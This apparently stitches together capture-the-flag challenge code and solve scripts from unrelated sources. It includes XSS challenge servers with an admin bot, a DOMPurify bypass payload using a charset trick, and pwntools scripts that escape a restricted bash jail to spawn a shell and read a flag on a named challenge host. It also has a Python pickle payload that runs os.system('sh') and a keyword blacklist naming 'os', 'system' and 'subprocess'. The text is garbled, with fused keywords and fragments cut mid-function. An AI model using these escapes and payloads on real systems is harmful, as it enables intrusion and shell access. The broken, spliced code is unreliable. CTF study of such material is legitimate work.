from http.server import HTTPServer, BaseHTTPRequestHandler import json from urllib.parse import parse_qs from bot import visit_url from mako.template import Template from mako.lookup import TemplateLookup import os from urllib.parse import urlparse, parse_qs from threading import Thread
MODULE_DIR = os.path.join(os.path.dirname(__file__), 'templates') ifnot os.path.exists(MODULE_DIR): try: os.makedirs(MODULE_DIR) except OSError as e: print(f"Warning: Could not create Mako module directory: {e}") MODULE_DIR = None
html_template = """ <!DOCTYPE html> <html lang="en"> <head> <meta charset="UTF-8"> <meta name="viewport" content="width=device-width, initial-scale=1.0"> <title>Pixel Rainbow Name</title> <style> @import url('https://fonts.googleapis.com/css2?family=Press+Start+2P&display=swap'); body { font-family: 'Press Start 2P', cursive; background-color: #222; color: #fff; display: flex; flex-direction: column; align-items: center; justify-content: center; min-height: 100vh; margin: 0; padding: 20px; box-sizing: border-box; } .container { background-color: #333; padding: 30px; border: 5px solid #555; box-shadow: 0 0 0 5px #444, 0 0 0 10px #333, 0 0 20px 10px #000; text-align: center; } h1 { font-size: 24px; color: #0f0; /* Green for a retro feel */ margin-bottom: 20px; text-shadow: 2px 2px #000; } label { font-size: 16px; color: #ccc; display: block; margin-bottom: 10px; } input[type="text"] { font-family: 'Press Start 2P', cursive; padding: 10px; font-size: 16px; border: 3px solid #555; background-color: #444; color: #fff; margin-bottom: 20px; outline: none; } input[type="submit"] { font-family: 'Press Start 2P', cursive; padding: 10px 20px; font-size: 16px; color: #fff; background-color: #007bff; border: 3px solid #0056b3; cursor: pointer; transition: background-color 0.2s; } input[type="submit"]:hover { background-color: #0056b3; } .name-display { margin-top: 30px; font-size: 32px; /* Base size for rainbow text */ font-weight: bold; padding: 10px; } .rainbow-text { /* Fallback for browsers that don't support background-clip */ color: #fff; /* Rainbow effect */ background: linear-gradient(to right, hsl(0, 100%, 50%), /* Red */ hsl(30, 100%, 50%), /* Orange */ hsl(60, 100%, 50%), /* Yellow */ hsl(120, 100%, 50%),/* Green */ hsl(180, 100%, 50%),/* Cyan */ hsl(240, 100%, 50%),/* Blue */ hsl(300, 100%, 50%) /* Magenta */ ); -webkit-background-clip: text; background-clip: text; color: transparent; /* Make the text itself transparent */ /* Animate the gradient */ animation: rainbow_animation 6s ease-in-out infinite; background-size: 400% 100%; text-shadow: none; /* Remove any inherited text-shadow */ } .rainbow-text span { /* Ensure individual spans also get the effect if we were to wrap letters */ -webkit-background-clip: text; background-clip: text; color: transparent; } @keyframes rainbow_animation { 0%, 100% { background-position: 0 0; } 50% { background-position: 100% 0; } } .instructions { font-size: 12px; color: #888; margin-top: 30px; } </style> </head> <body> <div class="container"> <h1>Pixel Name Display!</h1> <form method="GET" action="/"> <label for="name">Enter Your Name:</label> <input type="text" id="name" name="name_input" autofocus> <input type="submit" value="Show Fancy Name"> </form> % if name_to_display: <div class="name-display"> Your fancy name is: <div class="rainbow-text">NAME</div> </div> % endif <p class="instructions"> Enter a name and see it in glorious pixelated rainbow colors! </p> <p class="instructions"> Escaped characters: ${banned} </p> <input type="submit" value="Report Name" onclick="reportName()"> <script> function reportName() { // Get from query string const name = new URLSearchParams(window.location.search).get('name_input'); if (name) { fetch('/report', { method: 'POST', headers: { 'Content-Type': 'application/json' }, body: JSON.stringify({ name: name }) }) .then(response => { if (response.ok) { alert('Name reported successfully!'); } else { alert('Failed to report name.'); } }) .catch(error => { console.error('Error reporting name:', error); }); } } </script> </div> </body> </html> """
defescape_html(text): """Escapes HTML special characters in the given text.""" return text.replace("&", "&").replace("<", "<").replace(">", ">").replace("(", "(").replace(")", ")")
defrender_page(name_to_display=None): """Renders the HTML page with the given name.""" templ = html_template.replace("NAME", escape_html(name_to_display or"")) template = Template(templ, lookup=lookup) return template.render(name_to_display=name_to_display, banned="&<>()")
# Parse the path and extract query parameters parsed_url = urlparse(self.path) params = parse_qs(parsed_url.query) name = params.get("name_input", [""])[0] for b in banned: if b in name: name = "Banned characters detected!" print(b)
# Render and return the page self.send_response(200) self.send_header("Content-Type", "text/html") self.end_headers() self.wfile.write(render_page(name_to_display=name).encode("utf-8")) defdo_POST(self): # Handle POST requests to report names ifself.path == "/report": content_length = int(self.headers['Content-Length']) post_data = self.rfile.read(content_length) name = json.loads(post_data.decode('utf-8')).get("name", "") print(f"Received name: {name}") if name: print(f"Reported name: {name}") self.send_response(200) self.end_headers() self.wfile.write(b"Name reported successfully!") Thread(target=visit_url, args=(name,)).start() else: self.send_response(400) self.end_headers() self.wfile.write(b"Bad Request: No name provided.") else: self.send_response(404) self.end_headers()
defrun_server(server_class=HTTPServer, handler_class=SimpleHTTPRequestHandler, port=8000): server_address = ("0.0.0.0", port) httpd = server_class(server_address, handler_class) print(f"Starting http server on port {port}...") print(f"Access the page at http://0.0.0.0:{port}") try: httpd.serve_forever() except KeyboardInterrupt: print("\nServer stopped.") finally: httpd.server_close()
defrender_page(name_to_display=None): """Renders the HTML page with the given name.""" templ = html_template.replace("NAME", name_to_display or"") template = Template(templ, lookup=lookup) tp = template.render(name_to_display=name_to_display, banned="&<>()", copyright="haha", help="haha", quit="haha") try: tp_data = tp.split("<div class=\"rainbow-text\">")[1].split("</div>")[0] if"."in tp_data or"href"in tp_data.lower(): name = "Banned characters detected!" return name except IndexError: name = "Something went wrong!" return name
@app.route("/") @login_required defindex(): visible_posts = [ post for post in posts ifnot post.get("hidden", False) or post["author"] == session["username"] ] return render_template("index.html", posts=visible_posts, username=session["username"])
username = request.args.get("username") or request.form.get("username") password = request.args.get("password") or request.form.get("password")
if username and password: if username in users and users[username] == password: session["username"] = username return redirect(url_for("index")) return render_template("invalid.html", user=username), 401
@app.route("/create_post", methods=["POST"]) @login_required defcreate_post(): title = request.form["title"] description = request.form["description"] hidden = request.form.get("hidden") == "on"# Checkbox in form for hidden posts post_id = len(posts) posts.append({ "id": post_id, "author": session["username"], "title": title, "description": description, "hidden": hidden }) return redirect(url_for("index"))
@app.route("/post/<int:post_id>") @login_required defpost_page(post_id): """Render a single post fully server-side (no client JS) with strict CSP.""" post = next((p for p in posts if p["id"] == post_id), None) ifnot post: return"Post not found", 404 if post.get("hidden") and post["author"] != session["username"]: return"Unauthorized", 403
from selenium import webdriver from selenium.webdriver.chrome.service import Service from selenium.webdriver.chrome.options import Options from selenium.webdriver.support.ui import WebDriverWait
// Setup EJS as the view engine app.set('view engine', 'ejs'); app.set('views', './views');
// Rate limit: max 5 requests per 1 minute per IP const reportLimiter = rateLimit({ windowMs: 1 * 60 * 1000, // 1 minute max: 5, // limit each IP to 5 requests per windowMs message: 'Too many reports from this IP, please try again later.' });
// Route: Return multiple custom elements as JSON // !! At the moment the route seems to have some frontend errors, so we disabled it in the main.js app.get('/custom-divs', (req, res) => { const customElements = [ { name: 'fancy-div', observedAttribute: 'color' }, { name: 'huge-div', observedAttribute: 'font' }, { name: 'title-div', observedAttribute: 'title' } ];
res.json(customElements); });
// Start server app.listen(PORT, () => { console.log(`Server running at http://localhost:${PORT}`); });
const customElements = await response.json(); console.log('Custom Elements fetched:', customElements);
return customElements; }
functioncreateElements(elements) { console.log('Registering elements'); for (var element of elements) { // Registers a custom element console.log(element) customElements.define(element.name, classextendsHTMLDivElement { staticgetobservedAttributes() { if (element.observedAttribute.includes('-')) { return [element.observedAttribute]; }
// When the DOM is loaded document.addEventListener('DOMContentLoaded', asyncfunction () { const enabled = window.custom_elements.enabled || false; // Check if the custom div functionality is enabled if (enabled) { var customDivs = awaitfetchCustomElements(); createElements(customDivs); } });
const PORT = process.env.PORT || 1337; server.listen(PORT, () => { console.log(`Server is running on port ${PORT}`); });
bot saved the html const html = await driver.getPageSource();
as <html><head></head><body><a id="\x1b$B"></a>\x1b(B<a src="><img src=x onerror=alert(1)>"></a></body>
after that it passed to dompu const clean = DOMPurify.sanitize('<html><head></head><body><a id="\x1b$B"></a>\x1b(B<a src="><img src=x onerror=alert(1)>"></a></body></html>');
after it got cleaned the xss still works because content type text/html without charset is supplied
commands = [ "__=$(($$>$$))", # 0 "___=$(($$>$__))", # 1 "____=${!___}", # arg (has s) "_____=$_", # copy _ (has h) ] while(not arg[0] == "s"): commands.append("____=${____:___}") # remove first character of ____ arg = arg[1:] commands.append("____=${____:__:___}") # get only first character of ____ (should be s) while(not _[0] == "h"): commands.append("_____=${_____:___}") # remove first character of _____ _ = _[1:] commands.append("_____=${_____:__:___}") # get only first character of _____ (should be h) commands.append("$____$_____") # shell!
s = pwn.remote("...", 1337, ssl=True)
for command in commands: s.recvuntil(b"caca$ ") s.sendline(command.encode()) s.recvline()
s.sendline(b"ls /") res = "" while("flag."notin res): res = s.recvline().decode() command = "cat /flag." + res.split("flag.")[1].split()[0] s.sendline(command.encode()) s.sendline(b"echo") res = "" while("TFCCTF{"notin res): res = s.recvline().decode() flag = res.split("$")[0] print(flag)
s.close()
''' $$ is set with an integer value (the PID), $(($$>$$)) therefore evaluates to 0 getting the value 1 is similar having 1 in $___, ${!___} is $1, the first argument. in this case yooooooo_mama_test $_ is set to the last argument of the last command, in this case echo yooooooo_mama_test has an s, echo has an h. this gives us sh and a shell '''
################################################### getting all the numbers we need ########################################################## # prints the pid which is 8 sendNrecv(r,"$$") # $$ -> 8
# store 0 in __ 2 underscore variable sendNrecv(r,"__=$(($$>>$$))") # 8>>8 -> 0
# store 1 in ___ 3 underscore varialbe sendNrecv(r,"___=$((!(__>>__)))") # !(8>>8) -> 1
# store 4 in ____ 4 underscore varialbe sendNrecv(r,"____=$(($$>>!($$>>$$)))") # 8>>!(8>>8) -> 8>>1 -> 4
# store 2 in _____ 5 underscore varialbe sendNrecv(r,"_____=$(($$>>!($$>>$$)>>!($$>>$$)))") # 8>>!(8>>8)>>!(8>>8) -> 8>>1>>1 -> 2
# store 9 in _______ 7 underscore variable sendNrecv(r,"_______=$___$$") # 18 sendNrecv(r,"_______=$(($_______>>$___))") # 18>>1 -> 9 ##############################################################################################################################################
# now the main part, we need to get alphabets. for that i used this parameter expansion trick. # we can store echo/dev/fd/63 using this parameter expansion and then we can run commands using those alphabets.
# store echo/dev/fd/63 in ________ 8 underscore variable sendNrecv(r,"________=$_>(${_:=>(:)})") # echo/dev/fd/63
# now we can use string substitution to get d and f from that 8 underscore variable and run df command. sendNrecv(r,"$(${________:$______:$___}${________:$_______:$___})") # ${"echo/dev/fd/63":5:1}${"echo/dev/fd/63":9:1} -> df
# store df command output in _________ 9 underscore variable. it will only store first word sendNrecv(r,"_________=$(${________:$______:$___}${________:$_______:$___})") # -> Filesystem
# now we can get s from 9 underscore variable (Filesystem) and h from 8 underscore variable (echo/dev/fd/63) # sendNrecv(r,"${_________:$____:$___}${________:$_____:$___}") # ${"Filesystem":4:1}${"echo/dev/fd/63":2:1} -> sh r.interactive() # continue in interactive mode.
# i tried to run sh with script but ig we need to do it manually, so zust copy paste this ${_________:$____:$___}${________:$_____:$___} # and hurray ! we got a shell.
whileTrue: #p = remote("127.0.0.1", 4444) """ ncat --ssl minijail-1845e80796387fe2.challs.tfcctf.com 1337 """ p = remote("minijail-1845e80796387fe2.challs.tfcctf.com", 1337, ssl=True) p.recvuntil(b"caca$") p.sendline(b"$(($$))") n = p.recvuntil(b"command not found") n = n.decode().split(':')[2].strip() n = int(n) if n > max(targets): exit(0) elif n in targets: for step in hsteps: p.recvuntil(b"caca$") p.sendline(step.encode())
x = targets.index(n) for step in ssteps1: p.recvuntil(b"caca$") p.sendline(step.encode())
for i inrange(x): p.recvuntil(b"caca$") p.sendline(b"____=$(($____>>$__))")
for step in ssteps2: p.recvuntil(b"caca$") p.sendline(step.encode())
blacklist = ['os', 'system', 'subprocess', 'compile', 'code', 'chr', 'str', 'bytes'] ifany(b in user_input for b in blacklist): print("Blacklisted function detected.") returnFalse ifany(ord(c) < 32orord(c) > 126for c in user_input): print("Invalid characters detected.") returnFalse
echo if (( ${#seen_euids[@]} > 1 )); then red "⚠ 检测到不同的 EUID 存在于同一进程的不同线程中(线程级降权/不一致)——此为题目核心风险点。" else yellow "未观察到 EUID 差异。但注意:竞态窗口仍可能瞬时存在,单次快照不代表绝对安全。" fi
== 线程凭据一览 == TID Uid(R/E/S) Gid(R/E/S) State Comm 522 0/0/0 65534/65534/65534 S (sleeping) python3 523 65534/65534/65534 65534/65534/65534 S (sleeping) Thread-1 (safe_
# Return an object with a __reduce__ method, classic pickle unserialize (b:=().__class__.__class__.__subclasses__(().__class__.__class__)[0].register.__builtins__, b['globals']().update({'__builtins__': b}), b['exec']("class PAYLOAD():\n def __reduce__(self):\n command=\"eval(input('PAYLOAD 2:'))\"\n return (eval, (command,))"), x:=[], x.append(y.gi_frame.f_back.f_back.f_locals for y in x), z:=[*x[0]], z[0].update({"success":PAYLOAD()}))
# This will run when the `success` variable is un-pickled, in the main interpreter (exec("threading.Thread = lambda **_:__import__('os').system('sh')"), True)[1]
files = os.listdir(local_path) attrs = [] for f in files: st = os.stat(os.path.join(local_path, f)) attrs.append(paramiko.SFTPAttributes.from_stat(st, filename=f)) return attrs
defstat(self, path): local_path = self._to_local(path) print(f"[SFTP] stat {path} -> {local_path}")
try: st = os.stat(local_path) return paramiko.SFTPAttributes.from_stat(st) except FileNotFoundError: raise paramiko.SFTPNoSuchFile(path)
# 若已存在,先删除避免旧结构干扰 if os.path.exists(output_path): os.remove(output_path)
conn = sqlite3.connect(output_path) try: cur = conn.cursor() # 建表结构与服务端一致 cur.executescript( """ PRAGMA journal_mode=WAL; CREATE TABLE IF NOT EXISTS users ( id INTEGER PRIMARY KEY AUTOINCREMENT, username TEXT UNIQUE NOT NULL, password TEXT NOT NULL, admin BOOLEAN DEFAULT 0 ); CREATE TABLE IF NOT EXISTS meta ( key TEXT PRIMARY KEY, value TEXT NOT NULL ); """ ) # 设置 DB 签名 cur.execute( "INSERT INTO meta(key, value) VALUES(?, ?) " "ON CONFLICT(key) DO UPDATE SET value=excluded.value", ("db_id", db_id), ) # 写入管理员用户 cur.execute( "INSERT INTO users(username, password, admin) VALUES(?, ?, ?)", (admin_username, admin_password_hash, 1), ) conn.commit() finally: conn.close()